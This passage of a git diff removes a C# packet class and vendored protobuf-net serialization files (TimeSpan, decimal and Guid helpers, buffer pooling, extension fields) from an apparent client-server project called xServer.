GetSystemInfo : IPacket { public GetSystemInfo() diff --git a/Server/Core/Packets/UnknownPacket.cs b/Server/Core/Packets/UnknownPacket.cs deleted file mode 100644 index dcff82bb..00000000 --- a/Server/Core/Packets/UnknownPacket.cs +++ /dev/null @@ -1,26 +0,0 @@ -using ProtoBuf; -using xServer.Core.Networking; - -namespace xServer.Core.Packets -{ - [ProtoContract] - public class UnknownPacket : IPacket - { - [ProtoMember(1)] - public IPacket Packet { get; set; } - - public UnknownPacket() - { - } - - public UnknownPacket(IPacket packet) - { - Packet = packet; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/BclHelpers.cs b/Server/Core/ProtoBuf/BclHelpers.cs deleted file mode 100644 index baf5a203..00000000 --- a/Server/Core/ProtoBuf/BclHelpers.cs +++ /dev/null @@ -1,588 +0,0 @@ -using System; -using System.Reflection; - -namespace ProtoBuf -{ - internal enum TimeSpanScale - { - Days = 0, - Hours = 1, - Minutes = 2, - Seconds = 3, - Milliseconds = 4, - Ticks = 5, - - MinMax = 15 - } - - /// - /// Provides support for common .NET types that do not have a direct representation - /// in protobuf, using the definitions from bcl.proto - /// - public -#if FX11 - sealed -#else - static -#endif - class BclHelpers - { - /// - /// Creates a new instance of the specified type, bypassing the constructor. - /// - /// The type to create - /// The new instance - /// If the platform does not support constructor-skipping - public static object GetUninitializedObject(Type type) - { -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - return System.Runtime.Serialization.FormatterServices.GetUninitializedObject(type); -#else - throw new NotSupportedException("Constructor-skipping is not supported on this platform"); -#endif - } - -#if FX11 - private BclHelpers() { } // not a static class for C# 1.2 reasons -#endif - private const int FieldTimeSpanValue = 0x01, FieldTimeSpanScale = 0x02; - - internal static readonly DateTime EpochOrigin = new DateTime(1970, 1, 1, 0, 0, 0, 0); - - /// - /// Writes a TimeSpan to a protobuf stream - /// - public static void WriteTimeSpan(TimeSpan timeSpan, ProtoWriter dest) - { - if (dest == null) throw new ArgumentNullException("dest"); - long value; - switch (dest.WireType) - { - case WireType.String: - case WireType.StartGroup: - TimeSpanScale scale; - value = timeSpan.Ticks; - if (timeSpan == TimeSpan.MaxValue) - { - value = 1; - scale = TimeSpanScale.MinMax; - } - else if (timeSpan == TimeSpan.MinValue) - { - value = -1; - scale = TimeSpanScale.MinMax; - } - else if (value%TimeSpan.TicksPerDay == 0) - { - scale = TimeSpanScale.Days; - value /= TimeSpan.TicksPerDay; - } - else if (value%TimeSpan.TicksPerHour == 0) - { - scale = TimeSpanScale.Hours; - value /= TimeSpan.TicksPerHour; - } - else if (value%TimeSpan.TicksPerMinute == 0) - { - scale = TimeSpanScale.Minutes; - value /= TimeSpan.TicksPerMinute; - } - else if (value%TimeSpan.TicksPerSecond == 0) - { - scale = TimeSpanScale.Seconds; - value /= TimeSpan.TicksPerSecond; - } - else if (value%TimeSpan.TicksPerMillisecond == 0) - { - scale = TimeSpanScale.Milliseconds; - value /= TimeSpan.TicksPerMillisecond; - } - else - { - scale = TimeSpanScale.Ticks; - } - - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - - if (value != 0) - { - ProtoWriter.WriteFieldHeader(FieldTimeSpanValue, WireType.SignedVariant, dest); - ProtoWriter.WriteInt64(value, dest); - } - if (scale != TimeSpanScale.Days) - { - ProtoWriter.WriteFieldHeader(FieldTimeSpanScale, WireType.Variant, dest); - ProtoWriter.WriteInt32((int) scale, dest); - } - ProtoWriter.EndSubItem(token, dest); - break; - case WireType.Fixed64: - ProtoWriter.WriteInt64(timeSpan.Ticks, dest); - break; - default: - throw new ProtoException("Unexpected wire-type: " + dest.WireType.ToString()); - } - } - - /// - /// Parses a TimeSpan from a protobuf stream - /// - public static TimeSpan ReadTimeSpan(ProtoReader source) - { - long ticks = ReadTimeSpanTicks(source); - if (ticks == long.MinValue) return TimeSpan.MinValue; - if (ticks == long.MaxValue) return TimeSpan.MaxValue; - return TimeSpan.FromTicks(ticks); - } - - /// - /// Parses a DateTime from a protobuf stream - /// - public static DateTime ReadDateTime(ProtoReader source) - { - long ticks = ReadTimeSpanTicks(source); - if (ticks == long.MinValue) return DateTime.MinValue; - if (ticks == long.MaxValue) return DateTime.MaxValue; - return EpochOrigin.AddTicks(ticks); - } - - /// - /// Writes a DateTime to a protobuf stream - /// - public static void WriteDateTime(DateTime value, ProtoWriter dest) - { - if (dest == null) throw new ArgumentNullException("dest"); - TimeSpan delta; - switch (dest.WireType) - { - case WireType.StartGroup: - case WireType.String: - if (value == DateTime.MaxValue) - { - delta = TimeSpan.MaxValue; - } - else if (value == DateTime.MinValue) - { - delta = TimeSpan.MinValue; - } - else - { - delta = value - EpochOrigin; - } - break; - default: - delta = value - EpochOrigin; - break; - } - WriteTimeSpan(delta, dest); - } - - private static long ReadTimeSpanTicks(ProtoReader source) - { - switch (source.WireType) - { - case WireType.String: - case WireType.StartGroup: - SubItemToken token = ProtoReader.StartSubItem(source); - int fieldNumber; - TimeSpanScale scale = TimeSpanScale.Days; - long value = 0; - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldTimeSpanScale: - scale = (TimeSpanScale) source.ReadInt32(); - break; - case FieldTimeSpanValue: - source.Assert(WireType.SignedVariant); - value = source.ReadInt64(); - break; - default: - source.SkipField(); - break; - } - } - ProtoReader.EndSubItem(token, source); - switch (scale) - { - case TimeSpanScale.Days: - return value*TimeSpan.TicksPerDay; - case TimeSpanScale.Hours: - return value*TimeSpan.TicksPerHour; - case TimeSpanScale.Minutes: - return value*TimeSpan.TicksPerMinute; - case TimeSpanScale.Seconds: - return value*TimeSpan.TicksPerSecond; - case TimeSpanScale.Milliseconds: - return value*TimeSpan.TicksPerMillisecond; - case TimeSpanScale.Ticks: - return value; - case TimeSpanScale.MinMax: - switch (value) - { - case 1: - return long.MaxValue; - case -1: - return long.MinValue; - default: - throw new ProtoException("Unknown min/max value: " + value.ToString()); - } - default: - throw new ProtoException("Unknown timescale: " + scale.ToString()); - } - case WireType.Fixed64: - return source.ReadInt64(); - default: - throw new ProtoException("Unexpected wire-type: " + source.WireType.ToString()); - } - } - - private const int FieldDecimalLow = 0x01, FieldDecimalHigh = 0x02, FieldDecimalSignScale = 0x03; - - /// - /// Parses a decimal from a protobuf stream - /// - public static decimal ReadDecimal(ProtoReader reader) - { - ulong low = 0; - uint high = 0; - uint signScale = 0; - - int fieldNumber; - SubItemToken token = ProtoReader.StartSubItem(reader); - while ((fieldNumber = reader.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldDecimalLow: - low = reader.ReadUInt64(); - break; - case FieldDecimalHigh: - high = reader.ReadUInt32(); - break; - case FieldDecimalSignScale: - signScale = reader.ReadUInt32(); - break; - default: - reader.SkipField(); - break; - } - } - ProtoReader.EndSubItem(token, reader); - - if (low == 0 && high == 0) return decimal.Zero; - - int lo = (int) (low & 0xFFFFFFFFL), - mid = (int) ((low >> 32) & 0xFFFFFFFFL), - hi = (int) high; - bool isNeg = (signScale & 0x0001) == 0x0001; - byte scale = (byte) ((signScale & 0x01FE) >> 1); - return new decimal(lo, mid, hi, isNeg, scale); - } - - /// - /// Writes a decimal to a protobuf stream - /// - public static void WriteDecimal(decimal value, ProtoWriter writer) - { - int[] bits = decimal.GetBits(value); - ulong a = ((ulong) bits[1]) << 32, b = ((ulong) bits[0]) & 0xFFFFFFFFL; - ulong low = a | b; - uint high = (uint) bits[2]; - uint signScale = (uint) (((bits[3] >> 15) & 0x01FE) | ((bits[3] >> 31) & 0x0001)); - - SubItemToken token = ProtoWriter.StartSubItem(null, writer); - if (low != 0) - { - ProtoWriter.WriteFieldHeader(FieldDecimalLow, WireType.Variant, writer); - ProtoWriter.WriteUInt64(low, writer); - } - if (high != 0) - { - ProtoWriter.WriteFieldHeader(FieldDecimalHigh, WireType.Variant, writer); - ProtoWriter.WriteUInt32(high, writer); - } - if (signScale != 0) - { - ProtoWriter.WriteFieldHeader(FieldDecimalSignScale, WireType.Variant, writer); - ProtoWriter.WriteUInt32(signScale, writer); - } - ProtoWriter.EndSubItem(token, writer); - } - - private const int FieldGuidLow = 1, FieldGuidHigh = 2; - - /// - /// Writes a Guid to a protobuf stream - /// - public static void WriteGuid(Guid value, ProtoWriter dest) - { - byte[] blob = value.ToByteArray(); - - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - if (value != Guid.Empty) - { - ProtoWriter.WriteFieldHeader(FieldGuidLow, WireType.Fixed64, dest); - ProtoWriter.WriteBytes(blob, 0, 8, dest); - ProtoWriter.WriteFieldHeader(FieldGuidHigh, WireType.Fixed64, dest); - ProtoWriter.WriteBytes(blob, 8, 8, dest); - } - ProtoWriter.EndSubItem(token, dest); - } - - /// - /// Parses a Guid from a protobuf stream - /// - public static Guid ReadGuid(ProtoReader source) - { - ulong low = 0, high = 0; - int fieldNumber; - SubItemToken token = ProtoReader.StartSubItem(source); - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldGuidLow: - low = source.ReadUInt64(); - break; - case FieldGuidHigh: - high = source.ReadUInt64(); - break; - default: - source.SkipField(); - break; - } - } - ProtoReader.EndSubItem(token, source); - if (low == 0 && high == 0) return Guid.Empty; - uint a = (uint) (low >> 32), b = (uint) low, c = (uint) (high >> 32), d = (uint) high; - return new Guid((int) b, (short) a, (short) (a >> 16), - (byte) d, (byte) (d >> 8), (byte) (d >> 16), (byte) (d >> 24), - (byte) c, (byte) (c >> 8), (byte) (c >> 16), (byte) (c >> 24)); - } - - - private const int - FieldExistingObjectKey = 1, - FieldNewObjectKey = 2, - FieldExistingTypeKey = 3, - FieldNewTypeKey = 4, - FieldTypeName = 8, - FieldObject = 10; - - /// - /// Optional behaviours that introduce .NET-specific functionality - /// - [Flags] - public enum NetObjectOptions : byte - { - /// - /// No special behaviour - /// - None = 0, - - /// - /// Enables full object-tracking/full-graph support. - /// - AsReference = 1, - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance. - /// - DynamicType = 2, - - /// - /// If false, the constructor for the type is bypassed during deserialization, meaning any field initializers - /// or other initialization code is skipped. - /// - UseConstructor = 4, - - /// - /// Should the object index be reserved, rather than creating an object promptly - /// - LateSet = 8 - } - - /// - /// Reads an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc. - /// - public static object ReadNetObject(object value, ProtoReader source, int key, Type type, - NetObjectOptions options) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - SubItemToken token = ProtoReader.StartSubItem(source); - int fieldNumber; - int newObjectKey = -1, newTypeKey = -1, tmp; - while ((fieldNumber = source.ReadFieldHeader()) > 0) - { - switch (fieldNumber) - { - case FieldExistingObjectKey: - tmp = source.ReadInt32(); - value = source.NetCache.GetKeyedObject(tmp); - break; - case FieldNewObjectKey: - newObjectKey = source.ReadInt32(); - break; - case FieldExistingTypeKey: - tmp = source.ReadInt32(); - type = (Type) source.NetCache.GetKeyedObject(tmp); - key = source.GetTypeKey(ref type); - break; - case FieldNewTypeKey: - newTypeKey = source.ReadInt32(); - break; - case FieldTypeName: - string typeName = source.ReadString(); - type = source.DeserializeType(typeName); - if (type == null) - { - throw new ProtoException("Unable to resolve type: " + typeName + - " (you can use the TypeModel.DynamicTypeFormatting event to provide a custom mapping)"); - } - if (type == typeof (string)) - { - key = -1; - } - else - { - key = source.GetTypeKey(ref type); - if (key < 0) - throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name); - } - break; - case FieldObject: - bool isString = type == typeof (string); - bool wasNull = value == null; - bool lateSet = wasNull && (isString || ((options & NetObjectOptions.LateSet) != 0)); - - if (newObjectKey >= 0 && !lateSet) - { - if (value == null) - { - source.TrapNextObject(newObjectKey); - } - else - { - source.NetCache.SetKeyedObject(newObjectKey, value); - } - if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type); - } - object oldValue = value; - if (isString) - { - value = source.ReadString(); - } - else - { - value = ProtoReader.ReadTypedObject(oldValue, key, source, type); - } - - if (newObjectKey >= 0) - { - if (wasNull && !lateSet) - { - // this both ensures (via exception) that it *was* set, and makes sure we don't shout - // about changed references - oldValue = source.NetCache.GetKeyedObject(newObjectKey); - } - if (lateSet) - { - source.NetCache.SetKeyedObject(newObjectKey, value); - if (newTypeKey >= 0) source.NetCache.SetKeyedObject(newTypeKey, type); - } - } - if (newObjectKey >= 0 && !lateSet && !ReferenceEquals(oldValue, value)) - { - throw new ProtoException( - "A reference-tracked object changed reference during deserialization"); - } - if (newObjectKey < 0 && newTypeKey >= 0) - { - // have a new type, but not a new object - source.NetCache.SetKeyedObject(newTypeKey, type); - } - break; - default: - source.SkipField(); - break; - } - } - if (newObjectKey >= 0 && (options & NetObjectOptions.AsReference) == 0) - { - throw new ProtoException("Object key in input stream, but reference-tracking was not expected"); - } - ProtoReader.EndSubItem(token, source); - - return value; -#endif - } - - /// - /// Writes an *implementation specific* bundled .NET object, including (as options) type-metadata, identity/re-use, etc. - /// - public static void WriteNetObject(object value, ProtoWriter dest, int key, NetObjectOptions options) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (dest == null) throw new ArgumentNullException("dest"); - bool dynamicType = (options & NetObjectOptions.DynamicType) != 0, - asReference = (options & NetObjectOptions.AsReference) != 0; - WireType wireType = dest.WireType; - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - bool writeObject = true; - if (asReference) - { - bool existing; - int objectKey = dest.NetCache.AddObjectKey(value, out existing); - ProtoWriter.WriteFieldHeader(existing ? FieldExistingObjectKey : FieldNewObjectKey, WireType.Variant, - dest); - ProtoWriter.WriteInt32(objectKey, dest); - if (existing) - { - writeObject = false; - } - } - - if (writeObject) - { - if (dynamicType) - { - bool existing; - Type type = value.GetType(); - - if (!(value is string)) - { - key = dest.GetTypeKey(ref type); - if (key < 0) - throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name); - } - int typeKey = dest.NetCache.AddObjectKey(type, out existing); - ProtoWriter.WriteFieldHeader(existing ? FieldExistingTypeKey : FieldNewTypeKey, WireType.Variant, - dest); - ProtoWriter.WriteInt32(typeKey, dest); - if (!existing) - { - ProtoWriter.WriteFieldHeader(FieldTypeName, WireType.String, dest); - ProtoWriter.WriteString(dest.SerializeType(type), dest); - } - } - ProtoWriter.WriteFieldHeader(FieldObject, wireType, dest); - if (value is string) - { - ProtoWriter.WriteString((string) value, dest); - } - else - { - ProtoWriter.WriteObject(value, key, dest); - } - } - ProtoWriter.EndSubItem(token, dest); -#endif - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/BufferExtension.cs b/Server/Core/ProtoBuf/BufferExtension.cs deleted file mode 100644 index 1b6c7b05..00000000 --- a/Server/Core/ProtoBuf/BufferExtension.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System; -using System.IO; - -namespace ProtoBuf -{ - /// - /// Provides a simple buffer-based implementation of an extension object. - /// - public sealed class BufferExtension : IExtension - { - private byte[] buffer; - - int IExtension.GetLength() - { - return buffer == null ? 0 : buffer.Length; - } - - Stream IExtension.BeginAppend() - { - return new MemoryStream(); - } - - void IExtension.EndAppend(Stream stream, bool commit) - { - using (stream) - { - int len; - if (commit && (len = (int) stream.Length) > 0) - { - using (MemoryStream ms = (MemoryStream) stream) - { - if (buffer == null) - { - // allocate new buffer - buffer = ms.ToArray(); - } - else - { - // resize and copy the data - // note: Array.Resize not available on CF - int offset = buffer.Length; - byte[] tmp = new byte[offset + len]; - Helpers.BlockCopy(buffer, 0, tmp, 0, offset); - -#if PORTABLE || WINRT // no GetBuffer() - fine, we'll use Read instead - int bytesRead; - long oldPos = ms.Position; - ms.Position = 0; - while (len > 0 && (bytesRead = ms.Read(tmp, offset, len)) > 0) - { - len -= bytesRead; - offset += bytesRead; - } - if(len != 0) throw new EndOfStreamException(); - ms.Position = oldPos; -#else - Helpers.BlockCopy(ms.GetBuffer(), 0, tmp, offset, len); -#endif - buffer = tmp; - } - } - } - } - } - - Stream IExtension.BeginQuery() - { - return buffer == null ? Stream.Null : new MemoryStream(buffer); - } - - void IExtension.EndQuery(Stream stream) - { - // Clean up - if (stream != null) - { - stream.Dispose(); - } - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/BufferPool.cs b/Server/Core/ProtoBuf/BufferPool.cs deleted file mode 100644 index b72b3ecb..00000000 --- a/Server/Core/ProtoBuf/BufferPool.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System.Threading; - -namespace ProtoBuf -{ - internal sealed class BufferPool - { - internal static void Flush() - { -#if PLAT_NO_INTERLOCKED - lock(pool) - { - for (int i = 0; i < pool.Length; i++) pool[i] = null; - } -#else - for (int i = 0; i < pool.Length; i++) - { - Interlocked.Exchange(ref pool[i], null); // and drop the old value on the floor - } -#endif - } - - private BufferPool() - { - } - - private const int PoolSize = 20; - internal const int BufferLength = 1024; - private static readonly object[] pool = new object[PoolSize]; - - internal static byte[] GetBuffer() - { - object tmp; -#if PLAT_NO_INTERLOCKED - lock(pool) - { - for (int i = 0; i < pool.Length; i++) - { - if((tmp = pool[i]) != null) - { - pool[i] = null; - return (byte[])tmp; - } - } - } -#else - for (int i = 0; i < pool.Length; i++) - { - if ((tmp = Interlocked.Exchange(ref pool[i], null)) != null) return (byte[]) tmp; - } -#endif - return new byte[BufferLength]; - } - - internal static void ResizeAndFlushLeft(ref byte[] buffer, int toFitAtLeastBytes, int copyFromIndex, - int copyBytes) - { - Helpers.DebugAssert(buffer != null); - Helpers.DebugAssert(toFitAtLeastBytes > buffer.Length); - Helpers.DebugAssert(copyFromIndex >= 0); - Helpers.DebugAssert(copyBytes >= 0); - - // try doubling, else match - int newLength = buffer.Length*2; - if (newLength < toFitAtLeastBytes) newLength = toFitAtLeastBytes; - - byte[] newBuffer = new byte[newLength]; - if (copyBytes > 0) - { - Helpers.BlockCopy(buffer, copyFromIndex, newBuffer, 0, copyBytes); - } - if (buffer.Length == BufferPool.BufferLength) - { - BufferPool.ReleaseBufferToPool(ref buffer); - } - buffer = newBuffer; - } - - internal static void ReleaseBufferToPool(ref byte[] buffer) - { - if (buffer == null) return; - if (buffer.Length == BufferLength) - { -#if PLAT_NO_INTERLOCKED - lock (pool) - { - for (int i = 0; i < pool.Length; i++) - { - if(pool[i] == null) - { - pool[i] = buffer; - break; - } - } - } -#else - for (int i = 0; i < pool.Length; i++) - { - if (Interlocked.CompareExchange(ref pool[i], buffer, null) == null) - { - break; // found a null; swapped it in - } - } -#endif - } - // if no space, just drop it on the floor - buffer = null; - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/CallbackAttributes.cs b/Server/Core/ProtoBuf/CallbackAttributes.cs deleted file mode 100644 index 9264e704..00000000 --- a/Server/Core/ProtoBuf/CallbackAttributes.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.ComponentModel; - -namespace ProtoBuf -{ - /// Specifies a method on the root-contract in an hierarchy to be invoked before serialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoBeforeSerializationAttribute : Attribute - { - } - - /// Specifies a method on the root-contract in an hierarchy to be invoked after serialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoAfterSerializationAttribute : Attribute - { - } - - /// Specifies a method on the root-contract in an hierarchy to be invoked before deserialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoBeforeDeserializationAttribute : Attribute - { - } - - /// Specifies a method on the root-contract in an hierarchy to be invoked after deserialization. - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] -#if !CF && !SILVERLIGHT && !MONODROID && !WINRT && !IOS && !PORTABLE - [ImmutableObject(true)] -#endif - public sealed class ProtoAfterDeserializationAttribute : Attribute - { - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/DataFormat.cs b/Server/Core/ProtoBuf/DataFormat.cs deleted file mode 100644 index 2e9335b1..00000000 --- a/Server/Core/ProtoBuf/DataFormat.cs +++ /dev/null @@ -1,41 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Sub-format to use when serializing/deserializing data - /// - public enum DataFormat - { - /// - /// Uses the default encoding for the data-type. - /// - Default, - - /// - /// When applied to signed integer-based data (including Decimal), this - /// indicates that zigzag variant encoding will be used. This means that values - /// with small magnitude (regardless of sign) take a small amount - /// of space to encode. - /// - ZigZag, - - /// - /// When applied to signed integer-based data (including Decimal), this - /// indicates that two's-complement variant encoding will be used. - /// This means that any -ve number will take 10 bytes (even for 32-bit), - /// so should only be used for compatibility. - /// - TwosComplement, - - /// - /// When applied to signed integer-based data (including Decimal), this - /// indicates that a fixed amount of space will be used. - /// - FixedSize, - - /// - /// When applied to a sub-message, indicates that the value should be treated - /// as group-delimited. - /// - Group - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Extensible.cs b/Server/Core/ProtoBuf/Extensible.cs deleted file mode 100644 index a3105e3b..00000000 --- a/Server/Core/ProtoBuf/Extensible.cs +++ /dev/null @@ -1,294 +0,0 @@ -#if !NO_GENERICS -using System.Collections.Generic; -#endif -using ProtoBuf.Meta; -using System.Collections; - -namespace ProtoBuf -{ - /// - /// Simple base class for supporting unexpected fields allowing - /// for loss-less round-tips/merge, even if the data is not understod. - /// The additional fields are (by default) stored in-memory in a buffer. - /// - /// As an example of an alternative implementation, you might - /// choose to use the file system (temporary files) as the back-end, tracking - /// only the paths [such an object would ideally be IDisposable and use - /// a finalizer to ensure that the files are removed]. - /// - public abstract class Extensible : IExtensible - { - // note: not marked ProtoContract - no local state, and can't - // predict sub-classes - - - private IExtension extensionObject; - - IExtension IExtensible.GetExtensionObject(bool createIfMissing) - { - return GetExtensionObject(createIfMissing); - } - - /// - /// Retrieves the extension object for the current - /// instance, optionally creating it if it does not already exist. - /// - /// Should a new extension object be - /// created if it does not already exist? - /// The extension object if it exists (or was created), or null - /// if the extension object does not exist or is not available. - /// The createIfMissing argument is false during serialization, - /// and true during deserialization upon encountering unexpected fields. - protected virtual IExtension GetExtensionObject(bool createIfMissing) - { - return GetExtensionObject(ref extensionObject, createIfMissing); - } - - /// - /// Provides a simple, default implementation for extension support, - /// optionally creating it if it does not already exist. Designed to be called by - /// classes implementing . - /// - /// Should a new extension object be - /// created if it does not already exist? - /// The extension field to check (and possibly update). - /// The extension object if it exists (or was created), or null - /// if the extension object does not exist or is not available. - /// The createIfMissing argument is false during serialization, - /// and true during deserialization upon encountering unexpected fields. - public static IExtension GetExtensionObject(ref IExtension extensionObject, bool createIfMissing) - { - if (createIfMissing && extensionObject == null) - { - extensionObject = new BufferExtension(); - } - return extensionObject; - } - -#if !NO_RUNTIME && !NO_GENERICS - /// - /// Appends the value as an additional (unexpected) data-field for the instance. - /// Note that for non-repeated sub-objects, this equates to a merge operation; - /// for repeated sub-objects this adds a new instance to the set; for simple - /// values the new value supercedes the old value. - /// - /// Note that appending a value does not remove the old value from - /// the stream; avoid repeatedly appending values for the same field. - /// The type of the value to append. - /// The extensible object to append the value to. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The value to append. - public static void AppendValue(IExtensible instance, int tag, TValue value) - { - AppendValue(instance, tag, DataFormat.Default, value); - } - - /// - /// Appends the value as an additional (unexpected) data-field for the instance. - /// Note that for non-repeated sub-objects, this equates to a merge operation; - /// for repeated sub-objects this adds a new instance to the set; for simple - /// values the new value supercedes the old value. - /// - /// Note that appending a value does not remove the old value from - /// the stream; avoid repeatedly appending values for the same field. - /// The data-type of the field. - /// The data-format to use when encoding the value. - /// The extensible object to append the value to. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The value to append. - public static void AppendValue(IExtensible instance, int tag, DataFormat format, TValue value) - { - ExtensibleUtil.AppendExtendValue(RuntimeTypeModel.Default, instance, tag, format, value); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned is the composed value after merging any duplicated content; if the - /// value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The effective value of the field, or the default value if not found. - public static TValue GetValue(IExtensible instance, int tag) - { - return GetValue(instance, tag, DataFormat.Default); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned is the composed value after merging any duplicated content; if the - /// value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// The effective value of the field, or the default value if not found. - public static TValue GetValue(IExtensible instance, int tag, DataFormat format) - { - TValue value; - TryGetValue(instance, tag, format, out value); - return value; - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(IExtensible instance, int tag, out TValue value) - { - return TryGetValue(instance, tag, DataFormat.Default, out value); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(IExtensible instance, int tag, DataFormat format, out TValue value) - { - return TryGetValue(instance, tag, format, false, out value); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// Allow tags that are present as part of the definition; for example, to query unknown enum values. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(IExtensible instance, int tag, DataFormat format, bool allowDefinedTag, - out TValue value) - { - value = default(TValue); - bool set = false; - foreach ( - TValue val in ExtensibleUtil.GetExtendedValues(instance, tag, format, true, allowDefinedTag)) - { - // expecting at most one yield... - // but don't break; need to read entire stream - value = val; - set = true; - } - - return set; - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// Each occurrence of the field is yielded separately, making this usage suitable for "repeated" - /// (list) fields. - /// - /// The extended data is processed lazily as the enumerator is iterated. - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// An enumerator that yields each occurrence of the field. - public static IEnumerable GetValues(IExtensible instance, int tag) - { - return ExtensibleUtil.GetExtendedValues(instance, tag, DataFormat.Default, false, false); - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// Each occurrence of the field is yielded separately, making this usage suitable for "repeated" - /// (list) fields. - /// - /// The extended data is processed lazily as the enumerator is iterated. - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// An enumerator that yields each occurrence of the field. - public static IEnumerable GetValues(IExtensible instance, int tag, DataFormat format) - { - return ExtensibleUtil.GetExtendedValues(instance, tag, format, false, false); - } -#endif - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// The value returned (in "value") is the composed value after merging any duplicated content; - /// if the value is "repeated" (a list), then use GetValues instead. - /// - /// The data-type of the field. - /// The model to use for configuration. - /// The effective value of the field, or the default value if not found. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// Allow tags that are present as part of the definition; for example, to query unknown enum values. - /// True if data for the field was present, false otherwise. - public static bool TryGetValue(TypeModel model, System.Type type, IExtensible instance, int tag, - DataFormat format, bool allowDefinedTag, out object value) - { - value = null; - bool set = false; - foreach ( - object val in - ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, true, allowDefinedTag)) - { - // expecting at most one yield... - // but don't break; need to read entire stream - value = val; - set = true; - } - - return set; - } - - /// - /// Queries an extensible object for an additional (unexpected) data-field for the instance. - /// Each occurrence of the field is yielded separately, making this usage suitable for "repeated" - /// (list) fields. - /// - /// The extended data is processed lazily as the enumerator is iterated. - /// The model to use for configuration. - /// The data-type of the field. - /// The extensible object to obtain the value from. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The data-format to use when decoding the value. - /// An enumerator that yields each occurrence of the field. - public static IEnumerable GetValues(TypeModel model, System.Type type, IExtensible instance, int tag, - DataFormat format) - { - return ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, false, false); - } - - /// - /// Appends the value as an additional (unexpected) data-field for the instance. - /// Note that for non-repeated sub-objects, this equates to a merge operation; - /// for repeated sub-objects this adds a new instance to the set; for simple - /// values the new value supercedes the old value. - /// - /// Note that appending a value does not remove the old value from - /// the stream; avoid repeatedly appending values for the same field. - /// The model to use for configuration. - /// The data-format to use when encoding the value. - /// The extensible object to append the value to. - /// The field identifier; the tag should not be defined as a known data-field for the instance. - /// The value to append. - public static void AppendValue(TypeModel model, IExtensible instance, int tag, 